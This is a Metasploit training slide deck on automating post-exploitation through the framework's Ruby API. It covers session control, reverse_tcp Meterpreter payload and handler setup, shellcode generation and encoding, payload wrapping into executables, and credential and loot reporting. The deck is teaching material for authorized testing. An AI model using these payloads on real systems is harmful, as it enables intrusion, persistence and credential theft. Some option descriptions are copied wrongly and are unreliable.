Automating Post Exploitation with Metasploit

Ruby Primer

Disclaimer

The author of this class is not responsible for the use of this information. The information provided here is for the use of security professionals to automate post exploitation while performing authorized security assessments and tasks.

Not all API calls available will be covered during this class, only those that are considered to be the most useful ones based on the instructors experience. The Metasploit Framework is in constant evolution. This course covers the current version of the framework at the time of its delivery.

Framework API

- In this section we will cover the general API calls used to manipulate sessions, Meterpreter Sessions API Calls and Shell Session API Calls for the purpose of post exploitation
- There will be sections called ‘learning to fish’. These sections are to show you where to find reference on how many of the calls are used as well as the calls themselves. This should prove useful due to the quickly changing nature of the framework.

General Framework API

Framework Basics

- Everything in the framework is an object, instanced off an object, or a handle.
- All libraries used by the framework are in the lib folder at the root of the Metasploit install
- The framework from the context of the msfconsole shell can be accessed thru the **`framework`** object
- When running inside a Meterpreter session the calls will have to be made from the session object **`client.framework`**

Framework Basics

- One of the best methods to explore the API calls in the framework is thru the IRB, IRB on msfconsole for the framework context and the IRB on Meterpreter for the context of a Meterpreter Session.
- The **`public_methods(false)`** method is one of the most used calls on the objects to be able to explore the different calls that can be made to a given framework object
-
```
>> framework.public_methods(false)
=>
[:on_module_created, :init_simplified, :load_config, :save_config, :stats,
:on_module_load, :on_module_run, :on_module_complete, :on_module_error, :inspect,
:encoders, :exploits, :nops, :payloads, :auxiliary, :post, :version, :events,
:modules, :sessions, :datastore, :auxmgr, :jobs, :plugins, :db, :threads]
>> framework.methods.grep(/encode/)
=>
[:encoders, :encode_length, :encode_integer, :encode_tagged_integer, :encode_null,
:encode_exception, :encode_tlv, :encode_octet_string, :encode_sequence,
:encode_object_id]
```

Framework Objects

- Some of the main objects are:
  - **`framework.sessions`** - Allows to interact with current sessions
  - **`framework.post`** - Allows to create a post module instance and iterate thru all post modules
  - **`framework.auxiliary`** - Allows to create an auxiliary module instance and iterate thru all auxiliary modules
  - **`framework.exploits`** - Allows to create an exploit module instance and iterate thru all exploit modules
  - **`framework.payloads`** - Allows to create a payload module instance and iterate thru all payload modules
  - **`framework.datastore`** - The global datastore variable hash
  - **`framework.db`** - Allows to control the database and report information to the different areas plus import data from different sources.

Sessions

- Working with sessions example

– Listing Sessions

```
>> framework.sessions
=> {2=>#<Session:meterpreter 192.168.1.115:1038 "CARLOS-192FCD91\Administrator @
CARLOS-192FCD91">, 3=>#<Session:shell 192.168.1.123:33945 "">}
>> framework.sessions.keys
=> [2, 3]
```

– Shell Session

```
>> s3 = framework.sessions.get(3)
=> #<Session:shell 192.168.1.123:33945 "">

>> s3.shell_command_token('uname -a')
=> "Linux localhost.localdomain 2.6.35.6-45.fc14.i686 #1 SMP Mon Oct 18 23:56:17 UTC
2010 i686 i686 i386 GNU/Linux\n"

>> s3.type
=> "shell"

>> s3.platform
=> "linux"
```

Sessions

- Meterpreter Session

```
>> s2 = framework.sessions.get(2)
=> #<Session:meterpreter 192.168.1.115:1038
"CARLOS-192FCD91\Administrator @ CARLOS-192FCD91">
```

```
>> s2.platform
=> "x86/win32"
```

```
>> s2.type
=> "meterpreter"
```

```
>> s2.shell_command_token('ver')
=> "\n\r\nMicrosoft Windows XP [Version 5.1.2600]\r\n"
```

Sessions

- To get access to all current sessions the framework.sessions call is used to get a hash of sessions where the ID is the key

```
>> framework.sessions
=> {1=>#<Session:meterpreter 192.168.1.115:1435
"CARLOS-192FCD91\Administrator @ CARLOS-192FCD91">}
```

- To interact with a specific session object the call framework.sessions.get(ID) is used, where the session ID as a integer

```
>> s1 = framework.sessions.get(1)
=> #<Session:meterpreter 192.168.1.115:1435
"CARLOS-192FCD91\Administrator @ CARLOS-192FCD91">
```

Sessions

- To execute commands in both shell and meterpreter sessions `shell_command_token` can be used
- ```
  >> s1.shell_command_token("hostname")
  => "\ncarlos-192fcd91\r\n"
  >> s2.shell_command_token("hostname")
  => "\ncarlos-192fcd91\r\n"
  ```

- To identify the type and platform of a session the `type` and `platform` methods are used
- ```
  >> s1.type
  => "meterpreter"
  >> s2.type
  => "shell"
  >> s1.platform
  => "x86/win32"
  >> s2.platform
  => "windows"
  ```

Sessions

- In the case of Meterpreter the session object is used with the Meterpreter API

```
>> s1.console.run_single("sysinfo")
Computer        : CARLOS-192FCD91
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
=> true

>> s1.sys.config.sysinfo
=> {"Computer"=>"CARLOS-192FCD91", "OS"=>"Windows XP (Build 2600, Service
Pack 3).", "Architecture"=>"x86", "System Language"=>"en_US"}
```

- msfconsole commands can be executed with `self.run_single()` inside ruby code for resource files

Post Modules

- Post modules can be run by creating an object of the module
- ```
  >> m = framework.post.create("windows/gather/checkvm")
  => #<Module:post/windows/gather/checkvm datastore=[{"VERBOSE"=>"false"}]>
  ```
- Sessions can be verified against the Post Module object to check for compatibility
- ```
  >> m.session_compatible?(1)
  => true
  >> m.session_compatible?(2)
  => false
  ```
- Options are part of the `datastore` hash
- ```
  >> m.datastore['SESSION'] = 1
  => 1
  >> m.datastore
  => {"VERBOSE"=>"false", "SESSION"=>1}
  ```
  ```

Post Modules

- Options can be validated before running the module
- ```
  >> m.options.validate(m.datastore)
  => true
  ```
- Executing the module with output of it being shown

```
>> m.run_simple('LocalInput' => driver.input, 'LocalOutput'
=> driver.output)

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
=> nil
```
```

Auxiliary Modules

- Auxiliary modules can be run by creating an object of the module
- `>> am = framework.auxiliary.create("scanner/smb/smb_version")`
  `=> #<Module:auxiliary/scanner/smb/smb_version datastore=[{"VERBOSE"=>"false", "SSL"=>"false", "SSLVersion"=>"SSL3", "ConnectTimeout"=>"10", "TCP::max_send_size"=>"0", "TCP::send_delay"=>"0", "DCERPC::max_frag_size"=>"4096", "DCERPC::fake_bind_multi"=>"true", ......}]>`
- Options are part of the `datastore` hash
- `>> am.datastore['RHOSTS'] = "192.168.1.115"`
  `=> "192.168.1.115"`

Auxiliary Modules

- Options can be validated before running the module
- ```
  >> am.options.validate(am.datastore)
  => true
  ```
- Executing the module with output of it being shown

```
>> am.run_simple('LocalInput' => driver.input, 'LocalOutput' =>
driver.output)

[*] 192.168.1.115:445 is running Windows XP Service Pack 3
(language: English) (name:CARLOS-192FCD91)
(domain:CARLOS-192FCD91)
[*] Scanned 1 of 1 hosts (100% complete)
=> nil
```
```

Exploit Modules

- Running exploits modules are a bit different compared to other modules since most if not all require a payload
- The first step is to configure the payload that will be used by creating an instance and assigning the options to the datastore of the instance

```
>> pay = framework.payloads.create("windows/meterpreter/reverse_tcp")
=> #<Module:payload/windows/meterpreter/reverse_tcp datastore=[{"VERBOSE"=>"false",
"LPORT"=>"4444", "ReverseConnectRetries"=>"5", "EXITFUNC"=>"process",
"AutoLoadStdapi"=>"true", "InitialAutoRunScript"=>"", "AutoRunScript"=>"",
"AutoSystemInfo"=>"true", "EnableUnicodeEncoding"=>"true"}]>
>> pay.datastore['LHOST'] = "192.168.1.100"
=> "192.168.1.100"
>> pay.datastore['LPORT'] = 3333
=> 3333
```

Exploit Modules

- An exploit module is instantiated and the datastore options of the payload are added to it
- ```
  >> mul = framework.exploits.create("multi/handler")
  => #<Module:exploit/multi/handler datastore=[{"VERBOSE"=>"false",
  "WfsDelay"=>"0", "EnableContextEncoding"=>"false",
  "DisablePayloadHandler"=>"false", "ExitOnSession"=>"true",
  "ListenerTimeout"=>"0"}]>
  >> mul.share_datastore(pay.datastore)
  => {"WORKSPACE"=>#<Msf::OptString:0x007ffa947cafb0 @name="WORKSPACE",
  @advanced=true, @evasion=false, @required=false, @desc="Specify the workspace
  for this module", @default=nil, @enums=[], @owner=#<Class for >>,
  "VERBOSE"=>#<Msf::OptBool:0x007ffa947caec0 @name="VERBOSE", @advanced=true,
  @evasion=false, @required=false, @desc="Enable detailed status messages", ...>>}
  ```
- The workspace name is set, inside Meterpreter sessions this would be **`client.workspace`**
- ```
  >> mul.datastore['WORKSPACE'] = framework.db.workspace.name
  => "default"
  ```

Exploit Modules

- The other options for the exploit are set including the PAYLOAD variable name, not the object

```
>> mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
=> "windows/meterpreter/reverse_tcp"
>> mul.datastore['EXITFUNC'] = 'process'
=> "process"
>> mul.datastore['ExitOnSession'] = true
=> true
```

- The exploit is launched using the **`.exploit_simple({})`** method and exploit options are given, if no output is wished to be shown the **`driver.input`** and **`driver.output`** options can be skipped

```
>> mul.exploit_simple('LocalInput' => driver.input, 'LocalOutput' =>
driver.output,'Payload'  => mul.datastore['PAYLOAD'], 'RunAsJob' => true)
=> nil

[*] Started reverse handler on 192.168.1.100:3333
[*] Starting the payload handler...
```

Payloads

- The framework has several types of payloads, all of them can be found under **`framework.payloads`**
- Most of the payload names follow the format of **`<platform>/<architecture>/<type>/<function>`**
- Those that do not have an Architecture section for their name tend to be x86
- Payloads are instantiated with **`framework.payloads.create(name)`**

```
>> pay = framework.payloads.create("windows/meterpreter/reverse_tcp")
=> #<Module:payload/windows/meterpreter/reverse_tcp
datastore=[{"VERBOSE"=>"false", "LPORT"=>"4444", "ReverseConnectRetries"=>"5",
"EXITFUNC"=>"process", "AutoLoadStdapi"=>"true", "InitialAutoRunScript"=>"",
"AutoRunScript"=>"", "AutoSystemInfo"=>"true", "EnableUnicodeEncoding"=>"true"}]>
```

Payloads

- Just like other modules the options for the payload are stored in the datastore hash and can be set through it

```
>> pay.datastore['LHOST'] = "192.168.1.100"
=> "192.168.1.100"


>> pay.datastore['LPORT'] = 3333
=> 3333


>> pay.datastore
=> {"VERBOSE"=>"false", "LPORT"=>3333, "ReverseConnectRetries"=>"5",
"EXITFUNC"=>"process", "AutoLoadStdapi"=>"true",
"InitialAutoRunScript"=>"", "AutoRunScript"=>"",
"AutoSystemInfo"=>"true", "EnableUnicodeEncoding"=>"true",
"LHOST"=>"192.168.1.100"}
```

Payloads

- To generate the raw payload the generate the raw buffer for the payload the **`generate`** method is used

```
>> raw = pay.generate
=> "\xFC\xE8\x89\x00\x00\x00`\x89\xE51\xD2d\x8BR0\x8BR\f\x8BR
\x14\x8Br(\x0F\xB7J&1\xFF1\xC0\xAC<a|\x02, \xC1\xCF\r
\x01\xC7\xE2\xF0RW\x8BR\x10\x8BB<\x02\xD9\xC8_\xFF\xD5\x8B6j@h
\x00\x10\x00\x00Vj\x00hX\xA4S\xE5\xFF\xD5\x93Sj\x00VSWh\x02\xD9\xC8_
\xFF\xD5\x01\xC3)\xC6\x85\xF6u\xEC\xC3"
```

- To get a list of encoders that can be used the **`compatible_encoders`** methods is used
- This buffer can be converted in to several formats with **`::Msf::Util::EXE`**

Encoders

- The purpose of encoders is obfuscating the exploit's payload while it is in transit. Once the payload has reached its target, the payload is decoded prior to execution on the target system
- The encoders available are found under **`framework.encoders`** they are Architecture specific so it is recommended to use on a payload the compatible_encoders method to find which one to use
- Encoders can be run by creating an object of the module
- ```
  >> enc = framework.encoders.create("x86/shikata_ga_nai")
  => #<Module:encoder/x86/shikata_ga_nai datastore=[{"VERBOSE"=>"false"}]>
  ```
  ```

Encoders

- To encode one just use the encoder object with the method **`encode(raw,badchars,state,platform)`**
- The platform option name can be determined by the names of the platforms supported by the payload
- ```
  >> pay.platform.names
  => ["Windows"]
  >> pay.platform.names.join
  => "Windows"
  ```
- For most post exploitation cases **`badchars`**, and **`state`** can remain **`nil`**
- ```
  >> enc.encode(raw, nil, nil, "Windows")
  => "\xBEZ\x18\x11 \xDB\xDC\xD9t$\xF4X1\xC9\xB1I1p\x14\x03p
  \x14\x83\xC0\x04\xB8\xED\xED\xC8\xB5\x0E\x0E\t\xA5\x87\xEB8\xF7\xFCxh\xC7w,
  \x81\xAC\xDA......\xD7\xC9\xC2\xF2p\xA1\xE8-\xB6n\x12\x18FS\xC5e\xCC\xA5c\x86\f"
  ```

Encoder

- Also take a look at the source code for **`msfvenon`** and **`msfencode`**
- For more information look at the source code of **`lib/msf/core/encoder.rb`** and the files under **`lib/msf/core/encoding`** and **`lib/msf/core/encoder`**

Payload Win32 Formats

- The framework supports a large number of output formats for payloads, some of the most common ones will be discussed
- The payload format will take the raw byte code generated by a payload and can also take the encoded byte code of the payload that has been passed thru an encoder
- **`::Msf::Util::EXE.to_win32pe(framework,raw,opts)`** - Will generate Windows Portable Executable taking as options the framework object, generated payload and a hash of options
  - **:template** path to executable PE to use as template(optional)
  - **:inject** boolean value to determine if the action is to inject the payload in to the template(optional)
- **`::Msf::Util::EXE.to_win32pe_dll(framework,raw,opts)`** - Will generate Windows Portable Executable DLL taking as options the framework object, generated payload and a hash of options
  - **:template** path to executable PE DLL to use as template(optional)

Payload Win32 Formats

- **`::Msf::Util::EXE.to_win32pe_service(framework,raw,opts)`** - Will generate Windows Portable Executable Service taking as options the framework object, generated payload and a hash of options
  - **:servicename** name of the service(Required)
  - **:template** path to executable PE service, executable to use as template(optional)
- **`::Msf::Util::EXE.to_win32pe_vbs(framework,raw,opts)`** - Will generate Windows Portable Executable DLL taking as options the framework object, generated payload and a hash of options
  - **:template** path to executable PE DLL to use as template(optional)
  - **:delay** time to wait before attempting to connect (optional)
  - **:persist** will stay running trying to connect until killed manually(optional)

Payload Win64 Formats

- **`::Msf::Util::EXE.to_win64pe(framework,raw,opts)`** - Will generate Windows Portable Executable taking as options the framework object, generated payload and a hash of options
  - **:template** path to executable PE to use as template(optional)
  - **:inject** boolean value to determine if the action is to inject the payload in to the template(optional)
- **`::Msf::Util::EXE.to_win64pe_dll(framework,raw,opts)`** - Will generate Windows Portable Executable DLL taking as options the framework object, generated payload and a hash of options
  - **:template** path to executable PE DLL to use as template(optional)
- **`::Msf::Util::EXE.to_win64pe_service(framework,raw,opts)`** - Will generate Windows Portable Executable Service taking as options the framework object, generated payload and a hash of options
  - **:servicename** name of the service(Required)
  - **:template** path to executable PE service executable to use as template(optional)

Payload OSX and Linux Formats

- **`::Msf::Util::EXE.to_osx_ppc_macho(framework,raw,opts)`** - Will generate OSX PPC Binary taking as options the framework object, generated payload and a hash of options
  - **:template** path to OSX PPC Binary to use as template(optional)
- **`::Msf::Util::EXE.to_osx_x86_macho(framework,raw,opts)`** - Will generate OSX x86 Binary taking as options the framework object, generated payload and a hash of options
  - **:template** path to OSX x86 Binary to use as template(optional)
- **`::Msf::Util::EXE.to_linux_x64_elf(framework,raw,opts)`** - Will generate Linux ELF Binary taking as options the framework object, generated payload and a hash of options
  - **:template** path to Linux ELF Binary to use as template(optional)
- **`::Msf::Util::EXE.to_linux_x86_elf(framework,raw,opts)`** - Will generate Linux ELF Binary taking as options the framework object, generated payload and a hash of options
  - **:template** path to Linux ELF Binary to use as template(optional)

Payloads

- To learn of other output formats take a look at **`lib/msf/util/exe.rb`**
- Also take a look at the source code for **`msfvenon`** and **`msfencode`**
- For more information look at the source code of **`lib/msf/core/payload.rb`** and the files under **`lib/msf/core/payload`**

Payload

```
>> pay = framework.payloads.create("windows/meterpreter/reverse_tcp")
=> #<Module:payload/windows/meterpreter/reverse_tcp
datastore=[{"VERBOSE"=>"false", "LPORT"=>"4444", "ReverseConnectRetries"=>"5",
"EXITFUNC"=>"process", "AutoLoadStdapi"=>"true", "InitialAutoRunScript"=>"",
"AutoRunScript"=>"", "AutoSystemInfo"=>"true",
"EnableUnicodeEncoding"=>"true"}]>

>> pay.datastore['LHOST'] = "192.168.1.100"
=> "192.168.1.100"
>> pay.datastore['LPORT'] = 3333
=> 3333

>> raw = pay.generate
=> "\xFC\xE8\x89\x00\x00\x00`\x89\xE51\xD2d\x8BR0\x8BR\f\x8BR\x14\x8Br(\x0F
\xB7J&1\xFF1\xC0\xAC<a|\x02, \xC1\xCF\r\x01\xC7\xE2\xF0RW\x8BR\x10\x8BB<.....
\xD5\x93Sj\x00VSWh\x02\xD9\xC8_\xFF\xD5\x01\xC3)\xC6\x85\xF6u\xEC\xC3"

>> exe = ::Msf::Util::EXE.to_win32pe(framework, raw)
```

Database

- The database in Metasploit has become an integral part of the framework since it stores the information gathered by several of the modules and allows one to automate and report based on this information
- The main types of information that will be covered are:
  - loot - information gathered from a compromised host
  - hosts - list of targets that the framework is aware of
  - services - services detected and information on the services
  - creds - authentication information like username, password and service
  - notes - general information

Database

- The most used calls for getting information return objects of type array:
  - **`framework.db.loots`**
  - **`framework.db.services`**
  - **`framework.db.creds`**
  - **`framework.db.hosts`**
- Each call returns an array of objects
- When accessing the calls from inside Meterpreter they are accessed from the session object **`client.framework.db`**

Reporting to the Database

- The Framework allows for the reporting of several not only the information mentioned
- `>> framework.db.public_methods.grep(/report_/)`
  `=>`
  `[:report_host, :report_service, :report_session, :report_session_event, :report_session_route, :report_session_route_remove, :report_client, :report_note, :report_host_tag, :report_auth_info, :report_cred, :report_auth, :report_vuln, :report_exploit, :report_event, :report_loot, :report_task, :report_report, :report_web_site, :report_web_page, :report_web_form, :report_web_vuln, :report_import_note]`
- Only notes, credentials, service and loot will be covered since these are the most used in post exploitation tasks
- To have a further look at the other types of information take a look at the file **`lib/msf/core/db.rb`**

Reporting to the Database

- When working with post modules the **`Msf::Auxiliary::Report`** mixin is already loaded with post modules
- On Plugins when instantiating the class for command dispatches just do an **`include Msf::Auxiliary::Report`**
- The **`Msf::Auxiliary::Report`** simplified the reporting to the DB
- On Script and Resource file the **`framework.db.report_*`** method is used

Reporting to the Database - host

- When reporting a host discovered the method used of **`framework.db.report_host(ops)`** where ops is a hash containing the information about the host
- The options are
  - **`:host`** - the host's ip address (Required)
  - **`:state`** - one of the Msf::HostState constants (optional)
  - **`:os_name`** - one of the Msf::OperatingSystems constants (optional)
  - **`:os_flavor`** - something like "XP" or "Gentoo" (optional)
  - **`:os_sp`** - something like "SP2" (optional)
  - **`:os_lang`** - something like "English", "French", or "en-US" (optional)
  - **`:arch`** - one of the ARCH_* constants (optional)
  - **`:mac`** - the host's MAC address (optional)
  - **`:comm`** - comment (optional)
  - **`:info`** - additional information (optional)
- The values for **`:state`** are **`alive`**, **`down`** and **`unknown`**
- The values **`:os_name`** are **`Apple Mac OS X`**, **`Linux`**, **`Microsoft Windows`**, **`FreeBSD`**, **`NetBSD`**, **`OpenBSD`** and **`Unknown`**, you can also provide your own value if not covered by the standard ones

Reporting to the Database - host

- On a module with the reporting mixin you use **`report_host(opts)`** where opts is the hash with options
- Reporting a host
-

```
>> framework.db.report_host({:host=>"192.168.1.2", :state=>"down",
:os_name=>"Linux"})
=> #<Msf::DBManager::Host id: 34, created_at: "2011-09-23 11:56:12",
address: "192.168.1.2", address6: nil, mac: nil, comm: "", name: nil,
state: "down", os_name: "Linux", os_flavor: nil, os_sp: nil, os_lang: nil,
arch: nil, workspace_id: 3, updated_at: "2011-09-23 11:56:12", purpose:
nil, info: nil, comments: nil>
```

Reporting to the Database - service

- When reporting a discovered service the method used of **`framework.db.report_service(ops)`** where ops is a hash containing the information about the service
- The options are
  - **`:host`** - the host's ip address where the service is running (Required)
  - **`:port`** - the port where this service listens (Required)
  - **`:proto`** - the transport layer protocol (e.g. tcp, udp) (Required)
  - **`:name`** - the application layer protocol (e.g. ssh, mssql, smb) (optional)
  - **`:mac`** - the host's MAC address if it could be determined (optional)
  - **`:host_name`** - the name of the host if it could be determined (optional)
- Be sure to properly and accurately identify a service since this information could be used in pivoting and enumeration
- Remember some admins may change the port number of services

Reporting to the Database - service

- On a module with the reporting mixin you use **`report_service(opts)`** where opts is the hash with options
- Reporting a service
-
```
>>
framework.db.report_host({:host=>"192.168.1.2", :state=>"down",
:os_name=>"Linux"})
=> #<Msf::DBManager::Host id: 34, created_at: "2011-09-23 11:56:12",
address: "192.168.1.2", address6: nil, mac: nil, comm: "", name: nil,
state: "down", os_name: "Linux", os_flavor: nil, os_sp: nil, os_lang: nil,
arch: nil, workspace_id: 3, updated_at: "2011-09-23 11:56:12", purpose:
nil, info: nil, comments: nil>
```

Reporting to the Database - cred

- When reporting credentials found the method used of **`framework.db.report_auth_info(ops)`** where ops is a hash containing the information about the authentication information
- The options are
  - **`:host`** - the host's ip address where the service is running (Required)
  - **`:port`** - the port where this service listens (Required)
  - **`:user`** - the username (optional)
  - **`:pass`** - the password, or path to ssh_key (optional)
  - **`:type`** - the type of password (password(ish), hash, or ssh_key) default is password (optional)
  - **`:proto`** - a transport name for the port, default is tcp (optional)
  - **`:sname`** - service name (optional)
  - **`:active`** - boolean, by default a cred is active, unless explicitly false (optional)
  - **`:proof`** - data used to prove the account is actually active (optional)
  - **`:source_id`** - The Vuln or Cred id of the source of this cred if from another cred or vulnerability(optional)
  - **`:source_type`** - Either Vuln or Cred if from another cred or vulnerability (optional)

Reporting to the Database - cred

- All reported authentication information is saved to the creds table
- On a module with the reporting mixin you use **`report_auth_info(opts)`** where opts is the hash with options
- Reporting a credential
- ```
  >>
  framework.db.report_auth_info({:host=>"192.168.1.2", :port=>22, :user=>"root",
  :pass=>"P@$$w0rd", :sname=>"ssh"})
  => #<Msf::DBManager::Cred id: 33, service_id: 98, created_at: "2011-09-23
  14:16:04", updated_at: "2011-09-23 14:17:20", user: "root", pass: "P@$$w0rd",
  active: true, proof: nil, ptype: "password", source_id: nil, source_type: nil>
  ```
  ```

Reporting to the Database - loot

- When reporting files and other information found on a host during post exploitation is save to loot using the method **`framework.db.report_loot(ops)`** where ops is a hash containing the information about the authentication information
- The options are
  - **`:host`** - the host's ip address or a session object (Required)
  - **`:path`** - the full path to the file, It is recommended to use the default (Required)
  - **`:ltype`** - is an OID-style loot type, e.g. "cisco.ios.config" (optional)
  - **`:ctype`** - is the Content-Type, e.g. "text/plain". Affects the extension the file will be saved with when (optional)
  - **`:name`** - the type of password (password(ish), hash, or ssh_key) default is passsword (optional)
  - **`:data`** - the type of password (password(ish), hash, or ssh_key) default is passsword (optional)
  - **`:info`** - Either Vuln or Cred if from another cred or vulnerability (optional)
- All reported authentication information is saved to the creds table

Reporting to the Database - loot

- The path option when reporting loot you should use the path configured as the default in the framework as returned from Msf::Config.loot_directory and the name of the file must be unique, it is recommended to create the filename beforehand
-
```
>> file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_testdata.txt")}"
=> "/Users/carlos/.msf4/loot/20110923132704_testdata.txt"
>> framework.db.report_loot({ :host=> "192.168.1.1", :path=> file_name, :ctype=> "text/plain", :ltype=> "host.test", :data=> "this is the contentst of the file", :name=>"testdata.txt", :info=> "test data for demo" })
=> #<Msf::DBManager::Loot id: 25, workspace_id: 3, host_id: 31, service_id: nil, ltype: "host.test", path: "/Users/carlos/.msf4/loot/20110923132704_testdata.tx...", data: "this is the contentst of the file", created_at: "2011-09-23 17:27:09", updated_at: "2011-09-23 17:27:09", content_type: "text/plain", name: "testdata.txt", info: "test data for demo">
```

Reporting to the Database - loot

- When running a post module you use **`store_loot(ltype, ctype, host, data, filename, info, service)`** each value containing the information, the path and other variables will be set automatically for you
- store_loot is the only report mixin options that does not take a hash with specific keys as options

Reporting to the Database

- Reporting a cred
- ```
  >>
  framework.db.report_auth_info({:host=>"192.168.1.2", :port=>22,
  :user=>"root", :pass=>"P@$$w0rd", :sname=>"ssh"})
  => #<Msf::DBManager::Cred id: 33, service_id: 98, created_at: "2011-09-23
  14:16:04", updated_at: "2011-09-23 14:17:20", user: "root", pass: "P@$
  $w0rd", active: true, proof: nil, ptype: "password", source_id: nil,
  source_type: nil>
  ```
  ```

Working with IPs

- Many times you will find yourself checking if an IP address is an IP Address and working with ranges in different formats, the framework provides a nice set of calls to use in the Rex library
- One task we may need to perform is the expansion of IP ranges, we can use for this the **`Rex::Socket::RangeWalker`** to instantiate a range object we can use
- The RangeWalker will take ranges in different formats
  - hostname/BitMask like www.metasploit.com/24
  - IP/BitMask
  - Starting IP-Ending IP
- One can check if an IP is in a range with the method **`include?(ip)`** on the RangeWalker object

Working with IPs

- ```
  >> rhosts = Rex::Socket::RangeWalker.new("google.com/30")
  => #<Rex::Socket::RangeWalker:0x007ffa55b00750 @ranges=[[1249764656, 1249764659,
  false]], @curr_range=0, @curr_addr=1249764656, @length=4>
  >> rhosts.each{|h| puts h}
  74.125.229.48
  74.125.229.49
  74.125.229.50
  74.125.229.51
  => nil
  >> rhosts = Rex::Socket::RangeWalker.new("192.168.1.1-192.168.1.4")
  => #<Rex::Socket::RangeWalker:0x007ffa55725670 @ranges=[[3232235777, 3232235780]],
  @curr_range=0, @curr_addr=3232235777, @length=4>
  >> rhosts.each{|h| puts h}
  192.168.1.1
  192.168.1.2
  192.168.1.3
  192.168.1.4
  => nil
  >> rhosts.include?("192.168.1.1")
  => true
  >> rhosts.include?("192.168.1.20")
  => false
  ```
  ```

Working with IPs

- Rex::Socket has methods that can be used to check if the value provided is an IP and confirm the Type with **`is_ipv4?(ip)`** and **`is_ipv6?(ip)`**

```
# Checks if a given IP is an IPv4 Address
>> Rex::Socket.is_ipv4?("192.168.1.1")
=> true

# Checks if a given IP is an IPv6 Address
>> Rex::Socket.is_ipv6?("192.168.1.1")
=> false
```

- One can check if the host where Metasploit is running supports IPv6 actions with **`support_ipv6?`**

```
# Checks if the system supports IPv6
>> Rex::Socket.support_ipv6?
=> true
```

Working with IPs

- One can check if an IP is part of the ranges specified in RFC1918, or RFC5735/RFC3927 with method **`is_insternal?(ip)`**

```
# Checks if an IP is ranges specified in RFC1918, or RFC5735/
RFC3927
>> Rex::Socket.is_internal?("192.168.1.1")
=> 0
>> Rex::Socket.is_internal?("74.125.229.49")
=> nil
```

- One can check if the host where Metasploit is running supports IPv6 actions with **`support_ipv6?`**

```
# Checks if the system supports IPv6
>> Rex::Socket.support_ipv6?
=> true
```

Working with IPs

- For more calls and other methods for manipulating netmasks and other IP related methods take a look at **`lib/rex/socket.rb`** and **`lib/rex/socket/range_walker.rb`**

Questions?